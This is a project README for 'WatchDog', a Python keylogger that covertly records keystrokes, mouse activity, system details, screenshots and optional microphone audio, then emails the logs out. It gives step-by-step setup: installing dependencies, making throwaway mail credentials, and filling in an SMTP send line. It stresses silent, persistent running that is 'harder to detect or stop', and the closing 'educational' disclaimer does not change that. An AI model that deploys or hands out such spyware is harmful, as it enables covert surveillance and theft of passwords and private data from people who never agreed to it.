WatchDog is a Python script that implements a basic keylogger which captures keyboard input, mouse events, system information, and takes periodic screenshots. The logged data is sent via email to a specified address at regular intervals. The script is designed to run persistently in the background, making it more resilient and harder to detect or stop through conventional means.
- Captures keyboard input (keystrokes) and special keys.
- Records mouse movements, clicks, and scrolls.
- Collects system information such as hostname, IP address, processor, system type, and machine type.
- Takes screenshots of the desktop.
- Records audio from the microphone (optional).
- Sends logged data via email at regular intervals.
- Clone or download the WatchDog repository to your local machine.
- Install the required Python dependencies using pip:
pip install -r requirements.txt
- Use a Temp-Mail, and create an account on: mailtrap.io.
- Visit mailtrap.io dashboard and Go to: HOME and use an fake SMTP domain.
- Go to: Email Testing > Inbox
- Click on Show Credentials dropdown, and note your port, username, and password.
- Open
watchdog.py
in a code editor. - Replace these following placeholders:
Replace:
EMAIL_ADDRESS = "your_email@example.com"
EMAIL_PASSWORD = "your_email_password"
with smtplib.SMTP('smtp.example.com', 587) as server:
- Run the
watchdog.py
script using Python:
python watchdog.py
- The keylogger will start capturing keyboard input, mouse events, and system information silently.
- Logged data will be periodically sent via email to the specified address.
[ start > "note" > enter > "the key logger is active right now" > enter > "and is recording everything" > enter > "this is the output" > enter > alt+tab ]
Before using WatchDog, make sure to configure the following settings:
- Email address: Replace
"your_email@example.com"
with your actual email address. - Email password: Replace
"your_email_password"
with your email password. - SMTP server: Replace
'smtp.example.com'
with the SMTP server of your email provider. - SMTP port: Replace
587
with the port number used by your email provider.
Example:
To terminate the script, open Task Manager and go to the Processes tab. Scroll through and search for running python processes. Select the python process, and terminate it using End Task.
WatchDog is intended for educational and testing purposes only. It should not be used for any illegal or unethical activities. The developer of this project is not responsible for any misuse or damage caused by the use of this software. Always use keyloggers responsibly and ethically, respecting the privacy and security of others.